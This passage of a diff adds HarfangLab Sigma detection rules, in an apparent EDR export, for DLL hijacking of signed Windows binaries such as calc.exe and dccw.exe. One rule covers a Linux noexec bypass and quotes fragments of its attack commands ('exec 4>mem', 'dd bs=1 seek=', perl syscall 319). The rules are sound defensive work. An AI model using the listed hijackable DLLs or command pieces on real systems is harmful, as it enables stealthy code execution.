+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.096152Z",
+  "creation_date": "2026-03-23T11:45:34.096154Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.096158Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_dccw.yml",
+  "content": "title: DLL Hijacking via dccw.exe\nid: f15da969-0fe2-4ed7-ac79-667f3384fed2\ndescription: |\n    Detects potential Windows DLL Hijacking via dccw.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'dccw.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\ColorAdapterClient.dll'\n            - '\\dxva2.dll'\n            - '\\mscms.dll'\n            - '\\USERENV.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "f15da969-0fe2-4ed7-ac79-667f3384fed2",
+  "rule_name": "DLL Hijacking via dccw.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via dccw.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "f164f721-c2c7-4255-8c70-bd893ae67964",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.094117Z",
+  "creation_date": "2026-03-23T11:45:34.094119Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.094123Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_secedit.yml",
+  "content": "title: DLL Hijacking via secedit.exe\nid: f164f721-c2c7-4255-8c70-bd893ae67964\ndescription: |\n    Detects potential Windows DLL Hijacking via secedit.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'secedit.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith: '\\SCECLI.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "f164f721-c2c7-4255-8c70-bd893ae67964",
+  "rule_name": "DLL Hijacking via secedit.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via secedit.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "f1797d56-b576-44bf-a391-b0cf37acb95d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:35.296344Z",
+  "creation_date": "2026-03-23T11:45:35.296346Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:35.296351Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://iq.thc.org/bypassing-noexec-and-executing-arbitrary-binaries",
+    "https://github.com/hackerschoice/memexec/"
+  ],
+  "name": "t1055_noexec_memory_injection_bypass.yml",
+  "content": "title: Filesystem noexec Mount Bypass via Process Memory Manipulation\nid: f1797d56-b576-44bf-a391-b0cf37acb95d\ndescription: |\n    Detects attempts to bypass noexec mount restrictions through specific process memory manipulation patterns.\n    Noexec mount restrictions are security controls that prevent the execution of binary files from specific filesystems or directories. When a filesystem is mounted with the noexec flag, the operating system blocks any attempt to run executable files stored in that location, even if the files have execute permissions set.\n    Adversaries may try to bypass noexec restrictions to execute malicious payloads in restricted environments.\n    It is recommended to investigate the detected process as well as its execution context.\nreferences:\n    - https://iq.thc.org/bypassing-noexec-and-executing-arbitrary-binaries\n    - https://github.com/hackerschoice/memexec/\ndate: 2024/12/02\nmodified: 2026/02/23\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1055\n    - attack.execution\n    - attack.t1059.004\n    - attack.t1106\n    - classification.Linux.Source.ProcessCreation\n    - classification.Linux.Behavior.DefenseEvasion\nlogsource:\n    category: process_creation\n    product: linux\ndetection:\n    selection_perl:\n        Image|endswith: '/perl'\n        CommandLine|contains|all:\n            - 'perl'\n            - 'syscall'\n            - '319'\n            - '279'\n            - '/proc/'\n            - '/fd/'\n\n    selection_bash:\n        Image|endswith: '/bash'\n        CommandLine|contains|all:\n            - 'bash -c'\n            - 'cd /proc/$$'\n            - 'exec 4>mem'\n            - 'base64 -d'\n            - 'dd bs=1 seek='\n            - 'cat syscall|cut -f9 -d'\n\n    condition: 1 of selection_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "f1797d56-b576-44bf-a391-b0cf37acb95d",
+  "rule_name": "Filesystem noexec Mount Bypass via Process Memory Manipulation",
+  "rule_description": "Detects attempts to bypass noexec mount restrictions through specific process memory manipulation patterns.\nNoexec mount restrictions are security controls that prevent the execution of binary files from specific filesystems or directories. When a filesystem is mounted with the noexec flag, the operating system blocks any attempt to run executable files stored in that location, even if the files have execute permissions set.\nAdversaries may try to bypass noexec restrictions to execute malicious payloads in restricted environments.\nIt is recommended to investigate the detected process as well as its execution context.\n",
+  "rule_creation_date": "2024-12-02",
+  "rule_modified_date": "2026-02-23",
+  "rule_os": "linux",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1055",
+    "attack.t1059.004",
+    "attack.t1106"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "f1c03a14-5795-40c9-bf7f-a7ef5ca1e679",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.096027Z",
+  "creation_date": "2026-03-23T11:45:34.096029Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.096033Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://github.com/xforcered/WFH",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://wietze.github.io/blog/save-the-environment-variables",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_calc.yml",
+  "content": "title: DLL Hijacking via calc.exe\nid: f1c03a14-5795-40c9-bf7f-a7ef5ca1e679\ndescription: |\n    Detects potential Windows DLL Hijacking via calc.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://github.com/xforcered/WFH\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://wietze.github.io/blog/save-the-environment-variables\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'calc.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\CRYPTBASE.DLL'\n            - '\\edputil.dll'\n            - '\\execmodelproxy.dll'\n            - '\\MLANG.dll'\n            - '\\PROPSYS.dll'\n            - '\\Secur32.dll'\n            - '\\SSPICLI.DLL'\n            - '\\WININET.dll'\n            - '\\twinui.appcore.dll'\n            - '\\windows.storage.dll'\n            # https://twitter.com/Kostastsale/status/1547738378333929473\n            # https://twitter.com/executemalware/status/1547755534652022786\n            - '\\WindowsCodecs.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "f1c03a14-5795-40c9-bf7f-a7ef5ca1e679",
+  "rule_name": "DLL Hijacking via calc.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via calc.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "f1f2d679-b12b-4d64-8fd7-66c5b810de17",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.085825Z",
+  "creation_date": "2026-03-23T11:45:34.085827Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.085831Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://github.com/xforcered/WFH",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_mousocoreworker.yml",
+  "content": "title: DLL Hijacking via mousocoreworker.exe\nid: f1f2d679-b12b-4d64-8fd7-66c5b810de17\ndescription: |\n    Detects potential Windows DLL Hijacking via mousocoreworker.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://github.com/xforcered/WFH\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/30\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'mousocoreworker.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\dmcmnutils.dll'\n            - '\\dmiso8601utils.dll'\n            - '\\iphlpapi.dll'\n            - '\\profapi.dll'\n            - '\\umpdc.dll'\n            - '\\updatepolicy.dll'\n            - '\\winsqlite3.dll'\n            - '\\xmllite.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Users\\\\*\\AppData\\Local\\microsoft\\onedrive\\'\n            - '?:\\Users\\\\*\\AppData\\Local\\microsoft\\teams\\current\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n            - '?:\\Windows\\UUS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n            - '?:\\Windows\\UUS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "f1f2d679-b12b-4d64-8fd7-66c5b810de17",
+  "rule_name": "DLL Hijacking via mousocoreworker.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via mousocoreworker.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-30",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "f296e5e6-da5a-4057-bcce-17b516d2631f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.098060Z",
+  "creation_date": "2026-03-23T11:45:34.098062Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.098066Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://securityintelligence.com/posts/windows-features-dll-sideloading/",
+    "https://github.com/xforcered/WFH",
+    "https://wietze.github.io/blog/save-the-environment-variables",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_passwordonwakesettingflyout.yml",
+  "content": "title: DLL Hijacking via PasswordOnWakeSettingFlyout.exe\nid: f296e5e6-da5a-4057-bcce-17b516d2631f\ndescription: |\n    Detects potential Windows DLL Hijacking via PasswordOnWakeSettingFlyout.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://securityintelligence.com/posts/windows-features-dll-sideloading/\n    - https://github.com/xforcered/WFH\n    - https://wietze.github.io/blog/save-the-environment-variables\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/09/15\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'PasswordOnWakeSettingFlyout.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\dui70.dll'\n            - '\\uxtheme.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "f296e5e6-da5a-4057-bcce-17b516d2631f",
+  "rule_name": "DLL Hijacking via PasswordOnWakeSettingFlyout.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via PasswordOnWakeSettingFlyout.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-09-15",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "f2d084de-19ec-4053-b8f3-b3dab54a193a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.075994Z",
+  "creation_date": "2026-03-23T11:45:34.075997Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.076001Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_plasrv.yml",
+  "content": "title: DLL Hijacking via plasrv.exe\nid: f2d084de-19ec-4053-b8f3-b3dab54a193a\ndescription: |\n    Detects potential Windows DLL Hijacking via plasrv.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'plasrv.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\Cabinet.dll'\n            - '\\mintdh.dll'\n            - '\\pdh.dll'\n            - '\\tdh.dll'\n            - '\\wevtapi.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "f2d084de-19ec-4053-b8f3-b3dab54a193a",
+  "rule_name": "DLL Hijacking via plasrv.exe",
